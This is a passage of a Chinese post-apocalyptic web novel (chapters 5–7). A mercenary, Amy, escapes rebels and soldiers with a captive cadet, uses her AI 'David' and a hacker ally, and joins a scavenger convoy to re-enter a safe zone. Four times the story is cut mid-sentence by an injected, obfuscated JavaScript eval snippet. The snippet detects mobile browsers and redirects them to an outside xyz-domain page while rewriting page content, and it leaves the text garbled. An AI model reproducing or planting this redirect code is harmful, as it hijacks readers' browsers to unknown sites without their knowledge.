几乎是瞬间枪就完成了上膛。 “开枪！” 一声令下，子弹离膛，枪声连绵震耳欲聋。 反叛军还没反应过来，威力巨大的狙击子弹已经射穿几辆车的防弹玻璃，将几个反叛军司机爆头。 其余的步枪子弹威力没有狙击子弹大，没能第一时间打穿防弹玻璃，但胜在火力密集，一轮子弹狂轰之后再强悍的防弹玻璃也扛不住，已经不堪重负。 反叛军这边惨叫连天，也有人大声咒骂，开始了反击。 “他妈的老大，军方朝我们开火，干他娘的！” 一直负责和头目联络的领队一边汇报情况，一边反手朝军方开枪。 这就是反叛军和正规军的区别，正规军听令行事，反叛军就是一群乌合之众，看似听头目的话，实则难以管教，只要有人惹到他们头上先打再说。 “淦淦淦！”头目怒吼起来，“该死的军方，竟然跟我玩阴的，他们要打那就打！” 枪声如同过年的鞭炮，子弹划破空气发出“簌簌”的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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艾米戴着口罩，上车时又有先见之明戴上护目镜，这些对她影响不大。 程橙就惨了，直接被艾米拷着塞上车，嘴巴还被堵住，现在吸一口气都觉得是在把沙石吸进肺里。 艾米单手把着方向盘，另一只手顺手将他的手铐打开，本来将他重新拷上只是不希望他出声坏事，现在他就算说话也不碍事。 双手得到解放，程橙立马扯出塞进嘴里的布，大口呼吸起来，却又因为灌进灰尘而剧烈咳嗽。 他咳到满脸涨红，一双眼睛因为充血布满红血丝，足足咳了半分钟才缓过气来，又马不停蹄撕下任务服下的战术背心一角将口鼻蒙住，这才得以正常呼吸。 “你这个……” 还不等他将剩下的“疯子”两字说出口，一只手就捏住他的下巴挑了起来，露出脖子上的金属项圈，只是看了一眼她就将手放开。 程橙生生将剩下的话咽了下去，也通过内视镜看了一眼脖子，上面显示着50%的数字，绿色的数字显示表示他现在很安全。 项圈是艾米给他戴上的，当时她说是炸弹项圈，警告他要是敢耍花样，她就直接引爆。 可当她给的那件任务服上的隔绝装置能源耗尽时，项圈被触发，新的防护罩自项圈生成将他护住。 他才明白根本就不是什么炸弹项圈，只是另一种能使用更长时间的隔绝装置。 想到她将所有防护装备都给了自己，他就对艾米骂不出口。 “你从一开始就没想过上直升机对吧？”他问。 5. 小朋友 一开始看到艾米用全息投影布置现场的时候，程橙还不明白她的目的。 直到她将他带离岩石躲起来，反叛军和军方开始交涉的时候，他才反应过来，她根本就没打算上直升机，只是故意引来军方帮她对付反叛军。 那一枪也是她开来引战的，岩石处发生的景象全都是全息模拟影像。 成功拿到逃生工具的艾米显然心情不错，单手开着车一只手摆弄着车上的按钮，顺便回答程橙的问题，“别把我想得太聪明。” 一开始她确实是想到军方的直升机更快，可以赶在反叛军来之前逃离。 不过只用了两分钟就改变了主意，真上了军方的直升机又能逃到哪去。 在天上飞跟在空旷的地上一样都是当靶子，一颗导弹就能将飞机击落，与其让自己陷入那样的境地，不如搏其他出路。 所以当安德烈说二十分钟才能抵达的时候，她才会爽快接受。 “疯子！” 程橙还是忍不住低声吐槽了句，但也不否认艾米的聪明，在这么短的时间内就能想到摆脱两方敌人的办法。 就是方法过于冒险，冲入战场找车的时候，他完全是被艾米拽着跑，子弹几乎是擦肩而过，在那么密集的攻势下，他们一枪都没中，简直是一个奇迹。 她就是在赌自己命大。 更何况她还将反叛军和军方都玩弄于鼓掌，只有疯子才会同时和黑白两道树敌。 她身上有种不计后果的毁灭感。 “程橙，你没死对不对？” 程橙在心中给艾米做评价的时候，安德烈的声音又响起。 艾米看了眼手环，任务小队的通讯频道还连接着，她满不在乎开麦，好心地将戴着手环的手伸到程橙面前，也不怕位置被军方追踪到，早在布置好现场之后她就将手环的定位关闭。 “队长，我没事……” 程橙向安德烈报平安，还想再说两句，艾米已经将手收回。 “放心了吧，你们的小朋友没事，就不用像个操心的家长一直电话确认了。” 她调侃着，顺手将通话频道彻底切断。 程橙都有点佩服她的反应，换做是他经历了这么多事，绝对不会有心思顾得上人质如何，更不会有心情和敌人打趣。 正想着脚下突然传来声音， “9号车是谁在开，方向偏了。” 低头一看是个对讲机，他捡起对讲机犹豫了两秒，看向艾米， “现在要怎么办？” 从现在的情况看，至少艾米一直以来都在保证他的安全，而落入反叛军的手里肯定没有好下场，倒不如先好好跟她甩掉这些人。 “给我。” 艾米伸手，他将对讲机放到她手上，转手就被扔出窗外。 “……” 摆弄了半天按钮，车子也没有什么变化，艾米干脆收手。 “David，起来干活。”她突然道。 手环的指示灯闪了闪，略带调侃的男声传来：“终于不用再扮演低级的手环系统。” “接管车载系统。” 随着她的一声令下，手环发出一道蓝光，开始扫描车上的各种表盘，几秒钟之后声音自车载音响传来： “车载系统也很低级。” “那就来首高级的音乐。” “当然，你可以相信我的品味。” 音乐前奏响起，是一首外星入侵前的经典摇滚歌曲，艾米抓着方向盘上的手，食指轻打着节拍。 跟着旋律一起响起的，还有枪声。 跟在后方的反叛军终于察觉不对劲，清点存活人数之后，确定了车上的不是自己人，下令开了枪。 “嗖嗖——” “铛铛——” 子弹划破空气打在地上，也有的打在车尾发出刺耳的声响。 “砰！”一颗子弹打碎了仅存的半边后视镜。 “没吃饭吗，大点声。” 把着方向盘的人却气定神闲，顺手般猛地一打方向盘，车子瞬间拐了个方向，子弹瞬间全都嗖嗖射在地上。 风依旧喧嚣着灌进车里，但升高的音乐声压住了任何杂音。 音响的震动和枪弹声夹杂在一起，竟汇成奇妙的乐点，程橙的心跳随着飙升的车速和强节奏的乐点咚咚直跳，肾上腺素的飙升带来诡异的兴奋感。 紧张不安在此刻都被压了下去，隐隐的甚至想要更大的刺激 他侧头看去，跟他此刻诡异的亢奋相比，掌控着方向盘的人显得淡定许多，风扬起她黑色的长发，像一条风中飞舞的黑色丝绸，张扬鬼魅。 天放晴了些，她的侧脸蒙上一层微光，在荒芜且混乱危险的情境下美得不像话。 男人都很难抗拒带给自己刺激的人，那一刻他忽然有种奇怪的感觉，或许他这辈子都忘不掉这一幕了。 “杀过人吗？”她突然问。 程橙心头一凛，亢奋的感觉被压下去了些。 “后座有枪。”她提醒，“反叛军在附近的人很多，不尽快甩掉他们，最后在只会被包围，你脖子上的项圈已经是最后一个隔绝装置。” 程橙只是个学生，平时的实战任务最危险也不过是制服街上的犯罪份子，没杀过人。 可在这种情况下他清楚知道，他们不对反叛军动手，反叛军就会对他们动手。 没有任何犹豫，他回身寻找后座上的步枪，死在后座的两具反叛军尸体还陈横着，鲜血浸染了大面积的车座。 即使在军校已经接受过这方面的训练，亲眼见过犯人被执行枪决，脑花溅了一地的画面。 但此刻还是抑制不住犯恶心，他强压着不适感拿过尸体身上的步枪，枪上沾满血带着黏糊的手感，然后以自己的车靠背为枪架和掩体，瞄准了一辆追得最近的装甲车车胎。 “砰！” 很准，一枪直接将车轮打爆，失控的车辆撞向旁边的车子，两辆车都翻滚在地。 “枪法不错。”艾米夸了句。 “坐稳！” 说完车子猛地一拐，转了个90度的弯，她那边的车身就变成了正对着追击而来的反叛军车辆。 举枪连射，弹夹在瞬息间清空。 虽然是把手枪，却是大口径的，接连开这么多枪的后坐力也不容小觑，可对她却像没有任何影响，每一枪都精准无误打进车的能源箱，甚至用的还是左手。 “轰！”能源箱被引爆。 现在的汽车早就不用汽油当能源，地球结晶化的好处也不是一个都没有，至少人类发现这些结晶蕴含庞大能量，经过改造可以当成能源使用，这种能源被命名为晶源。 反叛军改装的车子自然用的也是晶源，而晶源爆炸的威力也远比汽油更大。 爆炸的火光冲天而起，恐怖的冲击力和热浪掀翻周围其他反叛军的车子，余波甚至让艾米和程橙感到震了震。 艾米收回手枪，“军校没教过吗，对敌人不能手下留情。” 她的语气淡淡，程橙觉得阎王审判的语气也不过如此。 “能不能解除苏童和李维所在通讯频道的屏蔽？他们一直提到你的名字，吵得我头疼。”David的声音又响起。 程橙已经确定David是人工智能系统，而且智能程度很高，大概是调了幽默值，说话的方式几乎和人类没区别。 “解除。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16130723|180287||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 艾米话音落下的瞬间，吵闹的声音就从音响传来， “失联那么长时间估计已经凉了，赶紧回来，咱把基地的东西分分，以后各奔前程。” “呸，晦气！你到底行不行，不是号称第一工程师，怎么连一个定位都破解不了？” “哎？上线了，还真没死。” “让你失望了。” “我就知道你没事！”女声透着惊喜，但更多的是自豪，仿佛有本事从反叛军和军方手中逃脱的是自己。 “我离苏童还有多远？给一条接头路线。” “发你们了。” 男人嘴上说着散伙，但在艾米话音落下的时候，路线就已经发了过来，显然在她上线的第一时间，那头就已经在做路线规划。 David将线路图投影到空中，两个红点直线相距已经不到二十公里，但路上地形复杂，直线行驶会遇到河道山谷，规划的路线避过了这些，实际路线超过二十公里，预计十分钟就能碰头。 “我黑了政府在附近的巡查机甲，大致掌握周边的情况，路线上标蓝的地方是巡查机甲发现反叛军出没过的地方，标绿的是巡查机甲的位置，路线已经尽量避开，但是你们自己也要小心。”男人提醒。 “你们连政府的机甲都能黑？”程橙诧异道。 “还有人搭你的便车？你是不是去哪都能捡人回来。”男人虽然是疑问的语气，却见怪不怪。 “少管。”艾米毫不客气反驳。 “你们动作得快点，买家刚催促过进度，他们给我们的时间还剩下不到一个小时，要是错过想回来可就没那么简单了。” “所以你打劫配方，是受人雇佣？”程橙从他们的对话中得到这个信息。 地球被root能量污染之后，虽然各个国家都解体，但全世界的科学家都联合起来，研究出一种能隔绝净化root能量的屏障，建立起十六个安全区，人类如今都在安全区里生活。 他们现在在安全区之外，先前他还在想艾米大动干戈抢了配方，政府一定会严格把守每一个能进入安全区的关口，等她自投罗网。 他还好奇她能用什么方法回去，现在才知道原来有买家，而且这个买家的身份不简单，能帮他们躲过关口的排查。 他又扫了眼路线图，发现最近的安全区是第九区，和他出发的第五安全区相邻，要是能想办法摆脱艾米去到第九区，他就有存活的希望。 “你有没有听过一个道理？” 在他打算盘的时候，艾米突然问。 程橙不明所以，她语气幽幽， “知道越多死得越快。一开始就是你自己跟上来的，一路上我都没让你出事，已经是大发慈悲。反叛军也好买配方的人也罢，他们可不会像我这么仁慈。 “你要想活着回到安全区，那就别耍花招，我对你的命不感兴趣，只要别挡我的道，回去之后你想去哪就去哪，明白我的意思吗？” 程橙沉默下来，确实，一开始就是他跟着艾米跳车。对艾米来说，在利用军方对付反叛军，取到离开的交通工具后，他就已经没有利用价值。 可她没将他杀了灭口，也没直接丢下任由自生自灭，可见她没有那些动不动就用全车厢人的命来威胁的反叛军丧心病狂。 再加上不知道她背后的雇主是谁，但敢动政府的东西，绝对不是简单角色。 与其冒险找出路，不如先跟着艾米平安回到安全区，在这种情况下，相信艾米成了最稳妥的办法。 车载音响里的摇滚乐仍旧震耳欲聋，风还在呼呼灌进，车里的气氛却有些凝固。 就这样开了十几公里，视线中又一辆改装过的装甲车迎面而来。 6. 她是疯子 经过前面的折腾，艾米这辆装甲车只要一晃动，各部位的零件都吱呀作响，仿佛下一秒就会散架。 她将车停下，对向的装甲车也在车边停下，车门自动打开，她坐进车后座，顺手将箱子丢在副驾上，之后漫不经心地和还坐在烂车中的程橙遥遥对视， “给你十秒的时间，留下还是上车。” 只犹豫了两秒，程橙就下车上了新车，坐在她身边。 他的手环已经被丢掉，就算留下也无法求救，等待救援队搜寻到的希望也渺茫，就算还有那辆破车能开走，先不说车能不能撑住，没有路线图他也找不到回去的路，更何况路上还有可能遇到反叛军。 车门关上，驾驶车子的人浑身包裹严实，只露出一双眼睛，应该就是在通讯频道中提到的苏童。 对于艾米让人上车的决定，她没有发表任何意见，动作娴熟地将车掉头。 David第一时间接管了新车的车载系统，一份新的路线图同步更新。 “和雇主接头的路线发你们了，还有不到一个小时的时间。”李维的声音传来。 车载音乐从摇滚乐换成抒情乐，艾米总算能缓口气。 她从车座下翻出医疗箱，开始脱身上的作战外套。 “你受伤了？”程橙诧异道，明明一路上艾米都表现得很正常，不像受伤的样子。 作战外套下是贴身的黑色背心，艾米的右肩有血迹，外套是黑色的所以看不出来。 肩膀处的伤口并不明显，像被什么东西射入留下一个窟窿，但已经停止流血，伤口边缘也有愈合的迹象。 程橙用了一会儿才反应过来，那是枪伤！ 是穿越战场找车的时候，还是跟反叛军飙车的时候中的？ 可已经开始愈合的伤口，又让他不确定是刚刚中的，正常人的伤口根本不会这么快愈合，步枪子弹的威力又大，打在身上也不会只留下一个小窟窿。 艾米已经拿出一把手术刀，将酒精倒在上面消毒，余下的部分直接倒在伤口上。 粗暴的操作看得程橙吸了口凉气，仿佛开了疼痛共享，只觉得自己的肩膀也隐隐作痛。 伤口在右肩上，艾米只能左手拿手术刀，看准后就对着伤口切了下去。 “嘶——”程橙又吸了口凉气，第一次看到有人对自己这么狠。 下刀的瞬间艾米就疼得浑身冒出细密的冷汗，拿刀的手也在微微颤抖，同样小口吸着凉气，刀上的动作却没停，将伤口扩开了些，但毕竟是单手拿刀，动作没那么灵活。 就这么会功夫，细密的汗珠就汇聚在一起，顺着她的脸颊发丝滴落，脸色也变得苍白。 从程橙发现艾米的身份起，她就展现出异于常人的强大冷静，看到她这些吃痛的表现才觉得多了点人味。 “要取出子弹吗，信得过我的话，我可以帮你。” 好歹现在是一条线上的蚂蚱，程橙主动提出帮助。 没有任何犹豫，艾米直接将手术刀给他。 “她不是信你，她是自信能在你用手术刀割开她脖子之前，能先把你杀死。” 前排传来苏童幽幽的声音，不知道是不是错觉，程橙听出一股酸溜溜的感觉。 果然下一秒艾米就给手枪上好膛。 程橙没有在意，换做是他让敌人帮自己开刀，估计得用枪顶着对方的脑袋才敢让对方动手。 “我开始了。” 他表情凝重，虽然在军校学过基础的急救知识，但也只是基础，可没学过割开人肉取子弹。 下刀的前一秒他还是犹豫了，“没有麻药吗，就不能打一针麻药？” “不能用麻药。”艾米靠在车座椅背上闭上眼睛，头发被冷汗浸湿有几缕沾在脸上，配着苍白的脸色，显出几分虚弱。 “麻药会降低人的反应速度，等会接头不一定会顺利，我需要保持状态，你再不动手伤口就要先愈合了。” 程橙的心因为那句“不一定会顺利”悬起来，再次将注意力放在她的伤口上。 她割开伤口的时候他是亲眼看着的，有鲜血涌出，可就说这两句话的功夫，伤口血流已经变少。 “你还真是个怪物。”他忍不住感叹。 又下意识嘱咐，语气是安慰人的轻和：“我真的要动手了，你要是疼叫出来也没关系。” 头顶传来一声轻笑，他抬头看去，艾米已经睁开了眼睛，一双眸子似笑非笑。 “真贴心啊，小朋友。” 他重新低头，有种被人看轻的懊恼。 什么小朋友，明明从长相看感觉年龄差不多。 手术刀还是从伤口处割了下去，看着锋利的手术刀，程橙却有种钝了感觉，之后才反应过来不是刀钝，是艾米的皮肤肌肉组织密度比常人大，韧性十足阻碍了切割。 也难怪子弹打在她身上造成的创口小，因为肌肉组织已经卸去了许多威力。 她的伤口止血的速度也比常人快，说明她体内血小板的工作效率也比常人的高。 又想到她一肘击轰碎特质玻璃，估计连骨骼密度、强度都远高于人。 他默默想着，手上伤口的扩张也差不多，能看到子弹，子弹已经碰到骨头。 这也证实了他的猜想，艾米体内的并不是军方的子弹，而是反叛军的。 反叛军的枪械经过改造威力更大，被他们的步枪打中，子弹就算打到骨头也会直接将骨头击碎，穿体而出。 艾米体内这颗打到骨头上，连骨折都没有，已经说明她的骨骼强度很高。 他拿来镊子消了毒，开始将子弹夹出。 这要费不少功夫，艾米的肌肉组织韧性大，子弹嵌在其中夹得很紧。 而且因为伤口愈合快，一些血肉已经和子弹黏合到一起，他又不敢太过粗暴弄疼艾米，只能小心翼翼操作。 子弹被成功取出时，程橙身上也满是汗。 “剩下的我自己来。”艾米说。 程橙还以为她起码会包扎一下，没想到她拿起缝合钉就将伤口钉上，又用酒精将伤口的血迹擦掉，就套回外套。 “对自己真狠。”程橙又忍不住感叹，全程她连哼都没哼一声。 艾米不置可否，她的身体确实异于常人，对疼痛的忍耐也比较高，这些伤对她来说还没到承受不了的程度。 她又从车座下拉出一个箱子，是满满的一箱营养液。 随手将两袋丢给程橙，她撕开包装口子就一袋接着一袋的喝，几乎当成水来饮。 身体机能高于常人的同时，也需要巨大的能量维持，特别是受伤的时候，伤口快速恢复要消耗大量的能量，所以要及时补充。 喝过营养液艾米的脸色有所好转，靠在车座椅背上休憩。 “是在战场上找车的时候中的弹是么？”程橙终于想通了，因为从那之后，她拿枪的都是左手。 当时他还觉得毫发无伤穿越战场是个奇迹，现在才知道哪有什么奇迹，那条路上艾米都在用身体护着他。 “中枪的是我，你纠结什么？”艾米斜了他一眼。 “你是真的好心么？”程橙问。 先前他还对她有敌意，现在是都没了，一个愿意帮自己挡子弹的人，任谁都恨不起来，只是他不知道艾米为什么做到这个份上，难道就因为她说过的好心？ “不全是。”艾米重新把手枪的保险上好，百无聊赖地把玩着手枪，“我只是觉得一个下意识 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16130724|180287||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会救下敌人的人，很有趣，所以想看看你还能做出什么事。” 程橙明白了，艾米对他的态度就像对待一个新得到的玩具，因为还感兴趣，所以会爱护，要是失去了兴趣，估计也不会管玩具的死活。 “疯子。” 哪有人会为了玩具当肉垫挡枪的，就是个疯子。 “我倒是觉得你挺可爱。” “……” 程橙侧目看去，艾米还是那副似笑非笑的模样，棕色的眼眸里半是戏谑半是认真。 即使知道对方的恶劣，只是想从自己身上找乐子，他的耳尖还是忍不住发烫。 “啧！”前方的苏童发出不屑一顾的声音，“难道我不可爱？” “开好你的车。” 程橙干咳两声，转移了话题，“接头的时候需要我注意什么？” 既然已经决定跟艾米一起回安全区，那就尽量配合，了解注意事项，确保不出差错拖后腿。 艾米也收起戏谑的表情，不过表情还是一副“没什么大不了”的模样。 “保持沉默，只要他们真的能将我们送回安全区，一切听他们的。” 程橙语气缓缓，“万一不顺利呢？” 艾米把玩枪的动作顿了顿，抬眼看他，眸光冰冷，“那还有什么好说的？” 程橙懂了，“起码给我把刀吧。” 艾米掰下中间的车座椅背，露出后面的一个空间，里面堆着各种型号的枪支。 她扬了扬下巴，示意程橙自己挑选。 “真大方。” 程橙摸出一把手枪，插进作战服的枪套里，他的武器被艾米劫持之后全卸了。 还想多拿两把，艾米慢悠悠的声音又响起，“这么舍不得这身作战服？” 他才反应过来，身上的作战服是军方的，这么穿让接头的人看到得出事，只好脱下。 里面只剩一件黑色背心，当着两个女孩的面这么穿他有些不自然，不好意思问道：“有我能穿的外套吗？” 艾米的视线肆无忌惮在他上半身扫动，“又不是见不得人的身材，害羞什么？” 不仅没有见不得，反而相当不错。 混血的原因，程橙才19岁个头却不小，一米八的身高长腿窄腰，在学校应该训练很刻骨，一身肌肉线条紧致却不夸张，贴身的背心勾勒出腹部肌肉的轮廓，微微卷起的背心边缘隐约露出没入工装裤的人鱼线。 皮肤很白，五官立体下颌线清晰，却没纯正西方血脉那样过分锐利棱角分明的骨相，英气又不失秀气。 感受到近乎赤裸的打量目光，程橙不自在地往下拉了拉背心。 “啧！”苏童又阴阳怪气啧了声，“有什么了不起的，我要是男的我也能练成这样。” 一边说一边从副驾驶位摸出一件皱巴巴的外套，往后一丢，丢到程橙身上，嘴上还不忘催促，“赶紧穿上，别在这里污染人的眼睛。” 程橙总算理解跳车时听到的那句话。 艾米的团队似乎就三个人，那个一直通过频道指挥的男人说过，苏童就是艾米的脑残粉，他是见识到了，只要艾米和他互动，苏童就大吃飞醋。 他抖了抖外套，试图将上面的褶皱抖平些，却抖出许多飞尘，还有一股怪味。 “咦惹！”苏童十分嫌弃，“李维你衣服味道真大！” “这叫男人味。”频道里的声音十分自豪。 就算衣服有怪味，在这种情况下程橙也只能穿上，又拿了两把步枪才将靠背合上。 “密码拿到了吗？”艾米突然问。 “正在绕过他们的防火墙。”频道里传来李维的声音。 “什么密码？”程橙忍不住问。 7. 拾荒者 “开箱密码。” 艾米回答得爽快，没有瞒着程橙的打算。 “你们不是要把箱子交给雇主吗，雇主还要求你们要到密码？” 艾米瘪了瘪嘴没回答。 护送箱子本来就是程橙的任务，他对箱子的情况很清楚。 箱子用的是十二位数的数字密码，除了交出箱子的MN集团，也就只有交接的陈教授知道密码。 一旦密码输入错误超过3次，箱子就会启动自毁程序，消灭里面的药剂和配方。 现在艾米他们还在琢磨密码，说明没从陈教授那里拿到密码。 那李维口中的绕过防火墙，就是在绕过MN集团的系统防火墙。毕竟数字密码是MN集团设下的，他们的服务器肯定会有蛛丝马迹。 但MN集团是当今最大的生化公司，使用的网络安全系统也是最先进最难破译的，要是李维真能成功，他确实可以自负夸自己一句第一工程师。 “拿到了。” 速度比程橙想的还要快，一串数字发到艾米的手环上。 她拿过副驾驶上的手提箱输入数字，随着箱子内部发出轻微的机械摩擦声，盖子自动打开。 里面是一支绿色的药剂，还有一张储存卡，里面储存着配方，以及MN集团关于特效药剂的相关研究数据。 艾米将储存卡插入手环，“David，备份储存卡里的数据。” 手环显示跳出一个“1”，之后David的声音才响起，“正在备份。” 看到那个“1”，程橙有些绷不住，艾米的人工智能已经幽默过头了。 一边心想艾米没有职业操守，偷偷备份雇主要的东西，但是又反应过来她都能跟反叛军黑吃黑，还要求她有什么职业操守。 等待复制的过程，艾米又从车中翻出两支隐形入耳式全息模拟装置，递给程橙一支。 程橙没有问为什么就直接戴上，换张脸方便做事，不让敌人发现真实长相总是稳妥些。 都戴好之后艾米开始在手环上调试设备的数据，设备模拟出的微光开始将程橙的脸覆盖，当停止的时候程橙就知道模拟好了。 他从内视镜看了眼自己的脸，确实已经换了一张，又看了艾米，也换好了。 “我们用的脸，是真实存在的人吗？”他问，如果因为他们的冒充，导致脸的主人受到牵连，他过意不去。 “当然，你的是吴彦祖，我的是林青霞。” 程橙不是很懂，只是默默记住这两个名字，打算回去后查一查。 “备份完成。” David提醒，艾米将储存卡放回箱子里，将箱子关上，又丢给程橙一张面巾。 “双重保障。” 地图显示他们的位置离接头的位置还有一半的距离，艾米往角落里窝了窝就闭上眼睛，“补个觉，到了叫我。” 车里一下子安静下来，程橙没有心大或者说自信到在这种时候还能睡着，也没其他事情做，就低着头清点子弹。 荒凉的景色在窗外飞速倒退，目之所及处处是结晶化的景色。 被结晶覆盖了大半的石头、半枯萎半结晶的树，甚至还有一些已经完全结晶化的动物，只能隐约从形状看出原先是什么动物。 除了车辆引擎的声响以及车载音乐，外边偶尔传来几声低吼，有狂化的变异体被车的声音吸引，朝着车冲来，都被沉重的装甲车直接撞上碾成结晶碎片。 行驶了一路，路线图上的两个点终于碰到一起，视线前方出现了一个车队。 还不等程橙提醒，艾米就睁开眼睛，将面巾蒙上戴上外套的帽子。 程橙也将脸蒙上，学着她和苏童的样子，将自己包裹严实。 苏童将车停在车队附近，程橙才能完全看清车队的全貌。 是个货运车队，大概有七八辆车。 人类如今只有十六个安全区，安全区范围有限里面的资源更是有限，一些资源只能离开安全区收集，但光靠政府收集根本满足不了人们的需求，所以诞生了一个职业——拾荒者。 满足条件的人可以向政府申请成为拾荒者，政府审核通过之后，就会派发证件，拾荒者可以凭证件离开安全区到外界收集物资，带回来的物资有合适的政府会收购。 不合适的如果拾荒者想带进安全区，就要交税，或者直接扔掉。 拾荒者有个人行动也有组队行动，像这种七八辆车的规模，已经是挺大的队伍。 艾米的雇主是想让他们混在拾荒者的队伍中一起回安全区。 见到艾米他们的车辆靠近，拾荒者队伍中有两人下车朝他们走来。 在下车之前艾米丢给程橙一个电池一样的东西，嘱咐了声，“隔绝装置的备用能源。” 他们的车有自动净化root能量的功能，上车之后程橙脖子上的隔绝装置检测到环境安全，程橙就关闭了节省能源，所以现在还有45%左右。 等会就要跟拾荒者一起，指不定会发生什么，艾米干脆让他自己拿着备用能源省事。 “你真的不需要隔绝装置吗？” 虽然已经见识艾米身体的不一般，程橙还是忍不住担忧。 当初地球上不是没有强大的生物，但是一百多年来经过观察，人们发现就算是大象鲸鱼这样强悍体格的生物，也会在root能量的感染下发生结晶化。 艾米□□再厉害，也应该警惕，或许root能量不是对她没用，只是影响比较缓慢。 “当然需要。”艾米说着用全息设备模拟出隔绝装置笼罩在身上的效果。 “……” 程橙无话可说，原来她说的需要，是需要做样子给外人看，毕竟暴露在空气中不用隔绝装置的人很瞩目。 在两个拾荒者抵达车前时，艾米也带头下了车，但在副驾驶上的药剂箱子没跟着拿下来。 见到艾米三人，两个拾荒者先是用探究的眼神将他们浑身上下扫了一遍，发现包裹得太严实看不出什么之后，为首的寸头男才开口： “东西呢？” “车上。”艾米淡声回答，“事先商量好的，我们帮你们拿到东西，你们保我们回到安全区，到时再跟你们老板一手交钱一手交货。” “事先说好的是两个人，为什么多了一个？”寸头男没那么好说话，也沉声质问。 “临时多带了一个帮手，没有他帮忙我们拿不到东西，你们老板的目标是箱子，既然我们已经完成，也没有多要钱的意思，多一个人也不影响我们之间的交易。跟你们老大汇报一声，给个准信，人要是能带交易继续，不能的话取消。” 艾米的态度强硬，强硬到程橙有种自己比她的交易更重要的错觉。 两个拾荒者对视一眼，没有过多交流，也没有汇报就点了点头， “行，多带一个人也不是难事，但怕你们在关口检查的时候露出马脚，你们要上我们的车，我们会在旁边告诉你们该怎么做。” “可以。”艾米答应得爽快，倒没有舍不得一路开来的这辆车，本来车也是她让雇主安排方便苏童用来接应的，车上的东西大部分也是雇主准备，就这样弃了也不可惜。 “拿上箱子跟我们走吧。”两个拾荒者往回走。 艾米从车上拿下箱子，示意苏童和程橙跟上。 他们被带到车队旁，艾米不动声色打量着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16130725|180287||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 整个车队。 七八辆车的拾荒队，却有不下二十人，之前跟她搭话的寸头男明显是队长，其他人看向他的眼神都带着敬畏。 寸头男个人特征明显，一身肌肉夸张隆起，看着不像拾荒，更像是练家子。 其他拾荒者或是坐在车上，或是站在车旁，全都看着他们，有的眼神凌厉警惕姿态紧绷，显然是车队中的武力担当。 拾荒不是一件轻松的活，不仅会遇到狂暴的异变体，还会遇到同行，为了争夺货物，杀人越货这种事时有发生。 毕竟如今安全区之外的世界，没有法律秩序可言，很多拾荒者出来后就没能回去，所以车队中有几名打手很正常。 还有的眼神麻木，对艾米他们的到来显得漠不关心，这类人明显在拾荒队中只是干苦力的，只要能挣到钱就好，其他什么都不在乎。 就这打量的几眼，艾米已经默默记住有哪些人需要留意。 “你们每人跟一辆车，时间不早了，赶紧出发。”寸头男又发话了。 程橙没动看向了艾米，等着看她反应，或许是在车上艾米说过不一定会顺利，现在这么顺利反而让他觉得怪异。 “我们三个要一起。”艾米开口。 寸头男眯了眯眼睛，随后不耐烦摆了摆手，“随你们，也不碍事。” 有人拉开了离他们最近那辆货车的车厢门，寸头男又发话， “拾荒者的武器都是在关口登记过的，回去的时候只能少不能多，你们的武器不能带上车，留下来。” “万一我们交出武器，你们图谋不轨怎么办？”苏童问。 寸头男笑了声，其他拾荒者也跟着笑了起来，笑声轻蔑。 寸头男盯着苏童，“小姑娘，我们这么多人要是真想对你们怎么样，就算你们有武器又如何？还能打得过我们这么多人不成？ “我们已经让一步，让你们多带一个人，你们也别给我们添麻烦，乖乖配合早点完成这单生意。” 僵持了几秒，艾米将身上的步枪丢到地上，“听他们的。” 又拔出战术腿套里的手枪，也扔了，身上便只剩下绑在腿上的□□。 “刀便不必了吧。”她道。 “随你。” 寸头男答，如今黑市枪械泛滥，一把匕首实在算不上威胁，甚至连出关口的时候，关口工作人员都懒得登记。 见到艾米交枪，苏童和程橙只能照做。 程橙只觉得刚刚在车上白挑那么久。 枪都交出来后，寸头男用眼神示意几个队友，他们便上前两步。 艾米看穿他们的意图，眼神冰冷地扫了一眼，“怎么，还要搜身不成？我们是做生意，不是你们老板的囚犯，既然这么不尊敬生意伙伴，干脆别合作了。” 上前的几个拾荒者停下脚步，用眼神询问寸头男。 寸头男皱了皱眉，很快就松开，“是我们太冒犯了，没事了，你们上车吧。” 